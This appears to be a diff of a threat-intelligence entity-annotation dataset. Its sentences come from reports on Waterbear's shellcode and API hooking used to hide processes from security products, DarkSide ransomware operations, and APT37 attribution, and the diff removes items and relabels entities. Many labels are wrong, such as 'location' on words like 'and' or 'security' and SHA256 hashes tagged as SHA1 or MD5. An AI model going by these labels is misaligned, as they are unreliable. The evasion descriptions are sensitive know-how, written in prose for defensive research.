-{"id":13792,"text":"It hooks two different APIs, namely \"ZwOpenProcess\" and \"GetExtendedTcpTable\", to hide its specific processes.","entities":[{"id":42818,"label":"location","start_offset":3,"end_offset":8},{"id":42820,"label":"location","start_offset":52,"end_offset":55}],"relations":[],"Comments":[]}
-{"id":13793,"text":"The payload only modifies the functions in the memory of the security product process, hence the original system DLL files remain unchanged.","entities":[{"id":42821,"label":"location","start_offset":12,"end_offset":16},{"id":42822,"label":"location","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":13794,"text":"The payload is composed of a two-stage shellcode.","entities":[],"relations":[],"Comments":[]}
-{"id":13795,"text":"The first-stage shellcode finds a specific security product's process with a hardcoded name and injects the second-stage shellcode into  that process.","entities":[{"id":42825,"label":"location","start_offset":43,"end_offset":51},{"id":42826,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":13796,"text":"The second-stage shellcode then performs API hooking inside the targeted process.","entities":[{"id":42828,"label":"attack-pattern","start_offset":45,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":13797,"text":"Hiding process identifiers (PIDs) The process identifiers or PIDs to be hidden are stored in the shared memory \"Global\\<computer_name>.\"","entities":[{"id":42829,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":13798,"text":"If the shared memory doesn't exist, it takes the PID embedded by the first-stage shellcode.","entities":[],"relations":[],"Comments":[]}
-{"id":13799,"text":"In this case, the intention of the malicious code is to hide Waterbear’s  backdoor activities from the security product.","entities":[{"id":42830,"label":"location","start_offset":8,"end_offset":12},{"id":42832,"label":"location","start_offset":103,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":13800,"text":"Therefore, the first-stage shellcode takes the PID of the Windows Service — which the first-stage shellcode and the succeeding backdoor both inject into — hides the target process, and embeds that PID into the second-stage shellcode.","entities":[{"id":48789,"label":"tools","start_offset":27,"end_offset":37},{"id":48790,"label":"SOFTWARE","start_offset":58,"end_offset":73},{"id":48791,"label":"attack-pattern","start_offset":141,"end_offset":152}],"relations":[{"id":464,"from_id":48789,"to_id":48790,"type":"duplicate-of"},{"id":465,"from_id":48789,"to_id":48791,"type":"uses"}],"Comments":[]}
 {"id":13801,"text":"   Figure 8.","entities":[],"relations":[],"Comments":[]}
 {"id":13802,"text":"Code that injects current PID into the second-stage shellcode Hooking \"ZwOpenProcess\" in ntdll.dll","entities":[{"id":48797,"label":"FILEPATH","start_offset":89,"end_offset":98},{"id":48794,"label":"malware","start_offset":71,"end_offset":84},{"id":42837,"label":"attack-pattern","start_offset":62,"end_offset":69}],"relations":[],"Comments":[]}
@@ -13805,41 +9167,20 @@
 {"id":13805,"text":"If yes, it modifies the process ID, which should open on another Windows Service PID.","entities":[],"relations":[],"Comments":[]}
 {"id":13806,"text":"First, it builds the hooked function and writes the function at the end of “ntdll.dll”.","entities":[],"relations":[],"Comments":[]}
 {"id":13807,"text":"This function includes two parts, as shown in Figure 9:  The PID checking procedure.","entities":[],"relations":[],"Comments":[]}
-{"id":13808,"text":"It recursively checks if the PID to be opened by “ZwOpenProcess” is in the list of the protected process IDs.","entities":[{"id":42847,"label":"location","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":13809,"text":"If yes, it replaces the PID to be opened with another Windows Service PID that has been written by the Waterbear loader in the beginning.","entities":[],"relations":[],"Comments":[]}
-{"id":13810,"text":"After the PID checking procedure, it executes the original “ZwOpenProcess” and returns the result.","entities":[{"id":42849,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":13811,"text":"  Figure 9.","entities":[],"relations":[],"Comments":[]}
-{"id":13812,"text":"The function hook of “ZwOpenProcess” to check and modify the output of the function Secondly, it writes \"push <ADDRESS> ret\" at the beginning of the original “ZwOpenProcess” address.","entities":[{"id":42851,"label":"location","start_offset":13,"end_offset":17},{"id":42852,"label":"location","start_offset":40,"end_offset":45},{"id":42853,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":13813,"text":"Hence, when “ZwOpenProcess” is called, the modified version of “ZwOpenProcess” will be executed.","entities":[{"id":42855,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":13814,"text":"Figure 10.","entities":[],"relations":[],"Comments":[]}
 {"id":13815,"text":"“ZwOpenProcess” after modification","entities":[],"relations":[],"Comments":[]}
 {"id":13816,"text":"The API hooking on “ZwOpenProcess” will only be triggered if \"%temp%\\KERNELBASE.dll\" exists on the host.","entities":[{"id":42857,"label":"attack-pattern","start_offset":8,"end_offset":15},{"id":42858,"label":"location","start_offset":35,"end_offset":39},{"id":42859,"label":"location","start_offset":40,"end_offset":44},{"id":42860,"label":"location","start_offset":99,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":13817,"text":"It is possible that this check is designed according to the nature of the security product it targets.","entities":[{"id":42861,"label":"location","start_offset":25,"end_offset":30},{"id":42862,"label":"location","start_offset":74,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":13818,"text":"\"GetExtendedTcpTable\" and \"GetRTTAndHopCount\" hooks in iphlpapi.dll","entities":[{"id":42863,"label":"location","start_offset":22,"end_offset":25},{"id":42864,"label":"location","start_offset":46,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":13819,"text":"The second part of API hooking hooks on “GetExtendedTcpTable.” “GetExtendedTcpTable” is used for retrieving a table that contains a list of TCP endpoints available to the application, and it is frequently used in some network-related commands, such as netstat.","entities":[{"id":42866,"label":"attack-pattern","start_offset":23,"end_offset":30},{"id":42867,"label":"location","start_offset":31,"end_offset":36},{"id":42868,"label":"location","start_offset":132,"end_offset":136},{"id":42869,"label":"location","start_offset":184,"end_offset":187},{"id":42870,"label":"malware","start_offset":252,"end_offset":259}],"relations":[],"Comments":[]}
-{"id":13820,"text":"The purpose of the hook is to remove TCP endpoint records of certain PIDs.","entities":[{"id":42871,"label":"location","start_offset":19,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":13821,"text":"In order to achieve that, it modifies two functions: “GetExtendedTcpTable” and “GetRTTAndHopCount.”","entities":[{"id":42873,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":13822,"text":"The second function, “GetRTTAndHopCount,” acts as the place to put the injected hooking code.","entities":[{"id":42875,"label":"attack-pattern","start_offset":80,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":13823,"text":"“GetExtendedTcpTable” only writes a jump to “GetRTTAndHopCount” in the beginning of the function.","entities":[{"id":42876,"label":"location","start_offset":22,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":13824,"text":"Only the first 5 bytes of the code of the API \"GetExtendedTcpTable\" are changed, as shown in Figure 11.  Figure 11.","entities":[{"id":42877,"label":"location","start_offset":0,"end_offset":4},{"id":42878,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":13825,"text":"Only 5 bytes changed in the “GetExtendedTcpTable”","entities":[{"id":42881,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":13826,"text":"The rest of the routine is all placed in “GetRTTAndHopCount.”","entities":[],"relations":[],"Comments":[]}
-{"id":13827,"text":"In the first part of the code, it pushes [“GetRTTAndHopCount”+0x3E] as the return address and then executes the first four instructions of the original “GetExtendedTcpTable” function (which has already been replaced by the jump instruction in Figure 11).","entities":[{"id":42882,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":13828,"text":"After that, it jumps to “GetExtendedTcpTable” to execute the function normally and to catch its return values.","entities":[{"id":42885,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":13829,"text":"The code is shown in Figure 12.","entities":[],"relations":[],"Comments":[]}
 {"id":13830,"text":"Figure 12.","entities":[],"relations":[],"Comments":[]}
-{"id":13831,"text":"The first part of injected code in “GetRTTAndHopCount,” which executes “GetExtendedTcpTable” and returns back to the next instruction","entities":[{"id":42889,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":13832,"text":"After “GetExtendedTcpTable” is executed and the process returns back to the second part of the code, it iteratively checks every record in the returned Tcp table.","entities":[{"id":42890,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":13833,"text":"If any record contains the PID Waterbear wants to hide, it will remove the corresponding record, modify the record number inside the table, and continue to check the succeeding records.","entities":[{"id":42893,"label":"location","start_offset":59,"end_offset":63},{"id":42894,"label":"location","start_offset":140,"end_offset":143},{"id":42895,"label":"location","start_offset":156,"end_offset":161}],"relations":[],"Comments":[]}
 {"id":13834,"text":"In the end, it returns the modified table.","entities":[],"relations":[],"Comments":[]}
-{"id":13835,"text":"Fig. 13.","entities":[{"id":42896,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
-{"id":13836,"text":"The injected code’s second part in “GetRTTAndHopCount” that checks and removes returned records of certain PIDs","entities":[{"id":42899,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":13837,"text":"Rather than directly disabling these two functions, this method of using API hooking makes noticing malicious behaviors more difficult, especially since both functions still work and return results normally.","entities":[{"id":42901,"label":"attack-pattern","start_offset":77,"end_offset":84},{"id":42902,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
 {"id":13838,"text":"Although in this case, the affected process is specified in the first-stage shellcode, the API hooking logic is quite generic that the same piece of shellcode can be used to hook other vendors' products.","entities":[{"id":42903,"label":"location","start_offset":17,"end_offset":21},{"id":42905,"label":"attack-pattern","start_offset":95,"end_offset":102},{"id":42906,"label":"location","start_offset":135,"end_offset":139},{"id":42907,"label":"location","start_offset":159,"end_offset":162},{"id":42908,"label":"location","start_offset":174,"end_offset":178}],"relations":[],"Comments":[]}
 {"id":13839,"text":"Conclusion","entities":[],"relations":[],"Comments":[]}
-{"id":13840,"text":"This is the first time we’ve seen Waterbear attempting to hide its backdoor activities.","entities":[{"id":42910,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":13841,"text":"By the hardcoded product name, we infer that the attackers are knowledgeable of the victims' environment and which security product(s) they use.","entities":[{"id":42912,"label":"location","start_offset":59,"end_offset":62},{"id":42913,"label":"location","start_offset":105,"end_offset":108},{"id":42914,"label":"location","start_offset":115,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":13842,"text":"The attackers might also be familiar with how security products gather information on their clients’ endpoints and networks, so that they know which APIs to hook.","entities":[{"id":42915,"label":"location","start_offset":46,"end_offset":54},{"id":42916,"label":"location","start_offset":111,"end_offset":114},{"id":42917,"label":"location","start_offset":157,"end_offset":161}],"relations":[],"Comments":[]}
 {"id":13843,"text":"Since the API hooking shellcode adopts a generic approach, the similar code snippet might be used to target other products in the future and make the activities of Waterbear harder to detect.  Tactic  Technique ID Description  Execution Execution","entities":[{"id":42918,"label":"attack-pattern","start_offset":14,"end_offset":21},{"id":42919,"label":"location","start_offset":101,"end_offset":107},{"id":42920,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":13844,"text":"through","entities":[],"relations":[],"Comments":[]}
 {"id":13845,"text":"Module Load","entities":[],"relations":[],"Comments":[]}
@@ -13851,52 +9192,29 @@
 {"id":13851,"text":"TROJ64_WATERBEAR.ZTGI acb2abc7fb44c2fdea0b65706d1e8b4c0bfb20e4bd4dcee5b95b346a60c6bd31 BKDR_WATERBEARENC.ZTGF b9f3a3b9452a396c3ba0ce4a644dd2b7f494905e820e7b1c6dca2fdcce069361 BKDR64_WATERBEAR.ZTGD 7c0d2782a33debb65b488893705e71a001ea06c4eb4fe88571639ed71ac85cdd BKDR_WATERBEARENC.ZTGH c7c7b2270767aaa2d66018894a7425ba6192730b4fe2130d290cd46af5cc0b7b BKDR_WATERBEARENC.ZTGI 7532fe7a16ba1db4d5e8d47de04b292d94882920cb672e89a48d07e77ddd0138 BKDR_WATERBEARENC.ZTGI dea5c564c9d961ccf2ed535139fbfca4f1727373504f2972ac92acfaf21da831 BKDR_WATERBEARENC.ZTGI 05d0ab2fbeb7e0ba7547afb013d307d32588704daac9c12002a690e5c1cde3a4 BKDR64_WATERBEARENC.ZTGJ 39668008deb49a9b9a033fd01e0ea7c5243ad958afd82f79c1665fb73c7cfadf BKDR_WATERBEARENC.ZTGD              Tags  Malware | APT & Targeted Attacks | Endpoints | Research | Network","entities":[{"id":42947,"label":"SHA2","start_offset":22,"end_offset":86},{"id":42948,"label":"SHA1","start_offset":110,"end_offset":174},{"id":42949,"label":"MD5","start_offset":197,"end_offset":261},{"id":42950,"label":"SHA2","start_offset":285,"end_offset":349},{"id":42951,"label":"SHA2","start_offset":373,"end_offset":437},{"id":42952,"label":"SHA1","start_offset":461,"end_offset":525},{"id":42953,"label":"SHA1","start_offset":549,"end_offset":613},{"id":42954,"label":"SHA2","start_offset":639,"end_offset":703},{"id":42955,"label":"location","start_offset":756,"end_offset":759}],"relations":[],"Comments":[]}
 {"id":13852,"text":"Updated May 17, 2021, 3:25 a.m. Eastern Time:","entities":[{"id":42957,"label":"TIME","start_offset":22,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":13853,"text":"This article has been updated to add references to the DarkSide victim data.","entities":[],"relations":[],"Comments":[]}
-{"id":13854,"text":"On May 7, a ransomware attack forced Colonial Pipeline, a company responsible for nearly half the fuel supply for the US East Coast, to proactively shut down operations.","entities":[{"id":42962,"label":"location","start_offset":103,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":13855,"text":"Stores of gasoline, diesel, home heating oil, jet fuel, and military supplies had been so heavily affected that the Federal Motor Carrier Safety Administration (FMCSA) declared a state of emergency in 18 states to help with the shortages.","entities":[{"id":42964,"label":"location","start_offset":28,"end_offset":32},{"id":42965,"label":"location","start_offset":41,"end_offset":44},{"id":42966,"label":"location","start_offset":46,"end_offset":49},{"id":42967,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":13856,"text":"It has been five days since the shutdown prompted by the attack, but Colonial Pipeline is still unable to resume full operations.","entities":[],"relations":[],"Comments":[]}
 {"id":13857,"text":"Outages have already started affecting motorists.","entities":[],"relations":[],"Comments":[]}
-{"id":13858,"text":"In metro Atlanta, 30% of gas stations are without gasoline, and other cities are reporting similar numbers.","entities":[{"id":42973,"label":"location","start_offset":3,"end_offset":8},{"id":42976,"label":"location","start_offset":25,"end_offset":28},{"id":42977,"label":"location","start_offset":38,"end_offset":41},{"id":42978,"label":"location","start_offset":60,"end_offset":63},{"id":42979,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":13859,"text":"To keep supplies intact for essential services, the US government has issued advisories against hoarding.","entities":[],"relations":[],"Comments":[]}
 {"id":13860,"text":" The FBI has confirmed that DarkSide, a cybercriminal group believed to have originated in Eastern Europe, is behind the attack.","entities":[],"relations":[],"Comments":[]}
 {"id":13861,"text":"The ransomware used by the group is a relatively new family that was first spotted in August 2020, but the group draws on experience from previous financially successful cybercrime enterprises.","entities":[],"relations":[],"Comments":[]}
 {"id":13862,"text":"Apart from locking Colonial Pipeline’s computer systems, DarkSide also stole over 100 GB of corporate data.","entities":[{"id":42986,"label":"threat-actor","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":13863,"text":"This data theft is all the more relevant in light of the fact that the group has a history of doubly extorting its victims — not only asking for money to unlock the affected computers and demanding payment for the captured data, but also threatening to leak the stolen data if the victims do not pay. As we will cover later, DarkSide shows a level of innovation that sets it apart from its competition, being one of the first to offer what we call “quadruple extortion services.”","entities":[{"id":42988,"label":"location","start_offset":44,"end_offset":49},{"id":42989,"label":"location","start_offset":129,"end_offset":133},{"id":42990,"label":"location","start_offset":145,"end_offset":150},{"id":42991,"label":"location","start_offset":184,"end_offset":187},{"id":42992,"label":"location","start_offset":307,"end_offset":311},{"id":42996,"label":"location","start_offset":443,"end_offset":447}],"relations":[],"Comments":[]}
-{"id":13864,"text":"The group announced on May 12 that it had three more victims: a construction company based in Scotland, a renewable energy product reseller in Brazil, and a technology services reseller in the US.","entities":[{"id":43000,"label":"location","start_offset":116,"end_offset":122},{"id":43002,"label":"location","start_offset":151,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":13865,"text":"The DarkSide actors claimed to have stolen a total of 1.9 GB of data from these companies, including sensitive information such as client data, financial data, employee passports, and contracts.","entities":[{"id":43006,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]}
-{"id":13866,"text":"   Since Darkside is a ransomware-as-a-service (RaaS), it is possible that three different affiliate groups are behind these three attacks.","entities":[{"id":43009,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":13867,"text":"Even the DarkSide actors themselves admit that they just buy access to company networks — they have no idea how access was acquired.","entities":[{"id":43011,"label":"malware","start_offset":9,"end_offset":17},{"id":43012,"label":"identity","start_offset":52,"end_offset":56},{"id":43013,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":13868,"text":"Trend Micro Research found dozens of DarkSide ransomware samples in the wild and investigated how the ransomware group operates and what organizations it typically targets.","entities":[{"id":43017,"label":"location","start_offset":77,"end_offset":80},{"id":43018,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
 {"id":13869,"text":" The DarkSide ransomware DarkSide offers its RaaS to affiliates for a percentage of the profits.","entities":[],"relations":[],"Comments":[]}
-{"id":13870,"text":"The group presents a prime example of modern ransomware, operating with a more advanced business model.","entities":[{"id":43021,"label":"location","start_offset":97,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":13871,"text":"Modern ransomware identifies high-value targets and involves more precise monetization of compromised assets (with double extortion as an example).","entities":[{"id":43022,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":13872,"text":"Modern ransomware attacks are also typically done by several groups who collaborate and split profits.","entities":[{"id":43023,"label":"location","start_offset":26,"end_offset":29},{"id":43024,"label":"location","start_offset":84,"end_offset":87},{"id":43025,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":13873,"text":"These attacks may look more like advanced persistent threat (APT) attacks than traditional ransomware events.","entities":[{"id":43026,"label":"location","start_offset":14,"end_offset":17},{"id":43027,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":13874,"text":"  Here is a short timeline of DarkSide activity compiled from publicly available reports:","entities":[{"id":43028,"label":"location","start_offset":12,"end_offset":17}],"relations":[],"Comments":[]}
 {"id":13875,"text":"  August 2020: DarkSide introduces its ransomware.","entities":[],"relations":[],"Comments":[]}
-{"id":13876,"text":"October 2020: DarkSide donates US$20,000 stolen from victims to charity.","entities":[{"id":43035,"label":"location","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":13877,"text":"November 2020:","entities":[],"relations":[],"Comments":[]}
-{"id":13878,"text":"DarkSide establishes its RaaS model.","entities":[{"id":43038,"label":"location","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]}
 {"id":13879,"text":"The group invites other criminals to use its service.","entities":[],"relations":[],"Comments":[]}
 {"id":13880,"text":"A DarkSide data leak site is later discovered.","entities":[],"relations":[],"Comments":[]}
 {"id":13881,"text":"November 2020:","entities":[],"relations":[],"Comments":[]}
-{"id":13882,"text":"DarkSide launches its content delivery network (CDN) for storing and delivering compromised data.","entities":[{"id":43042,"label":"location","start_offset":22,"end_offset":29},{"id":43043,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":13883,"text":"December 2020:","entities":[],"relations":[],"Comments":[]}
-{"id":13884,"text":"A DarkSide actor invites media outlets and data recovery organizations to follow the group’s press center on the public leak site.","entities":[{"id":43046,"label":"location","start_offset":25,"end_offset":30},{"id":43047,"label":"location","start_offset":39,"end_offset":42},{"id":43048,"label":"location","start_offset":99,"end_offset":105},{"id":43049,"label":"location","start_offset":113,"end_offset":119}],"relations":[],"Comments":[]}
 {"id":13885,"text":"March 2021:","entities":[],"relations":[],"Comments":[]}
 {"id":13886,"text":"DarkSide releases version 2.0 of its ransomware with several updates.","entities":[],"relations":[],"Comments":[]}
 {"id":13887,"text":"May 2021:","entities":[],"relations":[],"Comments":[]}
 {"id":13888,"text":"DarkSide launches the Colonial Pipeline attack.","entities":[],"relations":[],"Comments":[]}
-{"id":13889,"text":"After the attack, Darkside announces it is apolitical and will start vetting its targets (possibly to avoid raising attention to future attacks).  Initial access","entities":[{"id":43056,"label":"location","start_offset":54,"end_offset":57},{"id":43057,"label":"location","start_offset":58,"end_offset":62},{"id":43058,"label":"location","start_offset":63,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":13890,"text":"In our analysis of DarkSide samples, we saw that phishing, remote desktop protocol (RDP) abuse, and exploiting known vulnerabilities are the tactics used by the group to gain initial access.","entities":[{"id":43060,"label":"attack-pattern","start_offset":49,"end_offset":57},{"id":43061,"label":"attack-pattern","start_offset":59,"end_offset":82},{"id":43062,"label":"malware","start_offset":84,"end_offset":87},{"id":43063,"label":"location","start_offset":96,"end_offset":99},{"id":43064,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":13891,"text":"The group also uses common, legitimate tools throughout the attack process to remain undetected and obfuscate its attack.","entities":[{"id":43065,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
 {"id":13892,"text":" Throughout the reconnaissance and gaining-entry phases, we saw these legitimate tools used for specific purposes:   PowerShell: for reconnaissance and persistence  Metasploit Framework: for reconnaissance Mimikatz: for reconnaissance BloodHound: for reconnaissance Cobalt Strike: for installation  For modern ransomware like DarkSide, gaining initial access no longer immediately leads to ransomware being dropped.","entities":[{"id":43066,"label":"location","start_offset":31,"end_offset":34},{"id":43067,"label":"attack-pattern","start_offset":117,"end_offset":127},{"id":43068,"label":"location","start_offset":148,"end_offset":151},{"id":43069,"label":"malware","start_offset":165,"end_offset":175},{"id":43070,"label":"tools","start_offset":206,"end_offset":214},{"id":43071,"label":"malware","start_offset":235,"end_offset":245},{"id":43072,"label":"malware","start_offset":266,"end_offset":279},{"id":43073,"label":"threat-actor","start_offset":326,"end_offset":334}],"relations":[],"Comments":[]}
-{"id":13893,"text":"There are now several steps in between that are manually executed by an attacker.","entities":[{"id":43074,"label":"location","start_offset":6,"end_offset":9},{"id":43075,"label":"location","start_offset":31,"end_offset":38},{"id":43076,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":13894,"text":" Lateral movement and privilege escalation Lateral movement is a key discovery phase in the modern ransomware process.","entities":[{"id":43077,"label":"location","start_offset":18,"end_offset":21},{"id":43078,"label":"attack-pattern","start_offset":22,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":13895,"text":"In general, the goal is to identify all critical data within the victim organization, including the target files and locations for the upcoming exfiltration and encryption steps.","entities":[{"id":43079,"label":"location","start_offset":100,"end_offset":106},{"id":43080,"label":"location","start_offset":113,"end_offset":116},{"id":43081,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":13896,"text":"In the case of DarkSide, we confirmed reports that the goal of lateral movement is to gain Domain Controller (DC) or Active Directory access, which will be used to steal credentials, escalate privileges, and acquire other valuable assets for data exfiltration.","entities":[{"id":43082,"label":"location","start_offset":7,"end_offset":11},{"id":43084,"label":"location","start_offset":148,"end_offset":152},{"id":43085,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]}
 {"id":13897,"text":"The group then continues its lateral movement through the system, eventually using the DC network share to deploy the ransomware to connected machines.","entities":[],"relations":[],"Comments":[]}
 {"id":13898,"text":"Some of the known lateral movement methods deployed by DarkSide use PSExec and RDP.","entities":[{"id":43087,"label":"malware","start_offset":68,"end_offset":74},{"id":43088,"label":"location","start_offset":75,"end_offset":78},{"id":43089,"label":"malware","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":13899,"text":"But as we previously noted, a modern ransomware group behaves with methods more commonly associated with APT groups — it adapts its tooling and methods to the victim’s network defenses.","entities":[{"id":43090,"label":"location","start_offset":105,"end_offset":108},{"id":43091,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]}
 {"id":13900,"text":" Exfiltration  As is common practice with double extortion ransomware, critical files are exfiltrated prior to the ransomware being launched.","entities":[],"relations":[],"Comments":[]}
 {"id":13901,"text":"This is the riskiest step so far in the ransomware execution process, as data exfiltration is more likely to be noticed by the victim organization’s security team.","entities":[],"relations":[],"Comments":[]}
 {"id":13902,"text":"It is the last step before the ransomware is dropped, and the attack often speeds up at this point to complete the process before it is stopped.","entities":[],"relations":[],"Comments":[]}
@@ -13904,7 +9222,6 @@
 {"id":13904,"text":"The file-sharing services used by the group for data exfiltration include Mega and PrivatLab.","entities":[{"id":48720,"label":"tools","start_offset":74,"end_offset":79},{"id":48721,"label":"tools","start_offset":83,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":13905,"text":" Execution and impact  The execution of the actual ransomware occurs next.","entities":[],"relations":[],"Comments":[]}
 {"id":13906,"text":"The DarkSide ransomware shares many similarities with REvil in this step of the process, including the structure of ransom notes and the use of PowerShell to execute a command that deletes shadow copies from the network.","entities":[{"id":48722,"label":"malware","start_offset":4,"end_offset":13},{"id":48723,"label":"malware","start_offset":54,"end_offset":59},{"id":48724,"label":"tools","start_offset":144,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":13907,"text":"It also uses the same code to check that the victim is not located in a Commonwealth of Independent States (CIS) country.","entities":[{"id":48725,"label":"location","start_offset":72,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":13908,"text":" In addition to PowerShell, which is used to install and operate the malware itself, the group reportedly uses Certutil and Bitsadmin to download the ransomware.","entities":[{"id":48726,"label":"tools","start_offset":16,"end_offset":26},{"id":48728,"label":"tools","start_offset":124,"end_offset":133},{"id":48727,"label":"tools","start_offset":111,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":13909,"text":"It uses two encryption methods, depending on whether the target operating system is Windows or Linux: A ChaCha20 stream cipher with RSA-4096 is used on Linux, and Salsa20 with RSA-1024 is used on Windows.","entities":[{"id":48732,"label":"SOFTWARE","start_offset":163,"end_offset":171},{"id":48729,"label":"SOFTWARE","start_offset":84,"end_offset":92},{"id":48730,"label":"SOFTWARE","start_offset":95,"end_offset":100},{"id":48731,"label":"SOFTWARE","start_offset":152,"end_offset":157},{"id":48733,"label":"SOFTWARE","start_offset":196,"end_offset":203}],"relations":[],"Comments":[]}
 {"id":13910,"text":" The following figure shows a sample ransom note from DarkSide.","entities":[],"relations":[],"Comments":[]}
@@ -14005,7 +9322,7 @@
 {"id":14005,"text":"Previously, we uncovered two different campaigns in 2019 under the name of SLUB malware.","entities":[{"id":43409,"label":"malware","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":14006,"text":"Operation Earth Kitsune is a continuation of those campaigns.","entities":[{"id":47180,"label":"campaign","start_offset":0,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":14007,"text":"Consequently, some of the attribution indicators will span and include the previous SLUB malware campaigns.","entities":[{"id":43413,"label":"malware","start_offset":84,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":14008,"text":"The following sections describe the different correlations and are divided into two main categories:  Correlation related to the malware author developing environment Correlation associated with TTPs  Note that some leads are stronger than others; however, when combined, they suggest that the same threat actor behind malware previously attributed to APT37 is likely responsible for Operation Earth Kitsune.","entities":[{"id":47183,"label":"campaign","start_offset":384,"end_offset":407},{"id":43419,"label":"APT","start_offset":352,"end_offset":357}],"relations":[],"Comments":[]}
+{"id":14008,"text":"The following sections describe the different correlations and are divided into two main categories:  Correlation related to the malware author developing environment Correlation associated with TTPs  Note that some leads are stronger than others; however, when combined, they suggest that the same threat actor behind malware previously attributed to APT37 is likely responsible for Operation Earth Kitsune.","entities":[{"id":47183,"label":"campaign","start_offset":384,"end_offset":407},{"id":43419,"label":"threat-actor","start_offset":352,"end_offset":357}],"relations":[],"Comments":[]}
 {"id":14009,"text":"Malware author’s developer environment","entities":[],"relations":[],"Comments":[]}
 {"id":14010,"text":"When determining attribution, the most interesting leads are the ones that can deduce information about the malware author’s working environment.","entities":[],"relations":[],"Comments":[]}
 {"id":14011,"text":"Sometimes, these leads can determine the preferred languages used in the developers’ environment.","entities":[],"relations":[],"Comments":[]}
@@ -14022,12 +9339,12 @@
 {"id":14022,"text":"Viewing this language ID requires the use of other tools.","entities":[],"relations":[],"Comments":[]}
 {"id":14023,"text":"Figure 2 shows the language ID for the SLUB dropper.","entities":[{"id":43448,"label":"malware","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":14024,"text":"     Figure 2. Language ID of the Version Resource     ","entities":[],"relations":[],"Comments":[]}
-{"id":14025,"text":"We found this type of OS language leak in prior samples attributed to APT37.","entities":[{"id":47190,"label":"APT","start_offset":69,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":14026,"text":"One of the previous malware families attributed to APT37 is known as Freenki.","entities":[{"id":47192,"label":"malware","start_offset":69,"end_offset":76},{"id":43453,"label":"APT","start_offset":51,"end_offset":56}],"relations":[],"Comments":[]}
+{"id":14025,"text":"We found this type of OS language leak in prior samples attributed to APT37.","entities":[{"id":47190,"label":"threat-actor","start_offset":69,"end_offset":75}],"relations":[],"Comments":[]}
+{"id":14026,"text":"One of the previous malware families attributed to APT37 is known as Freenki.","entities":[{"id":47192,"label":"malware","start_offset":69,"end_offset":76},{"id":43453,"label":"threat-actor","start_offset":51,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":14027,"text":"Some Freenki samples had leaked the OS language ID through this same mechanism.","entities":[{"id":47193,"label":"malware","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
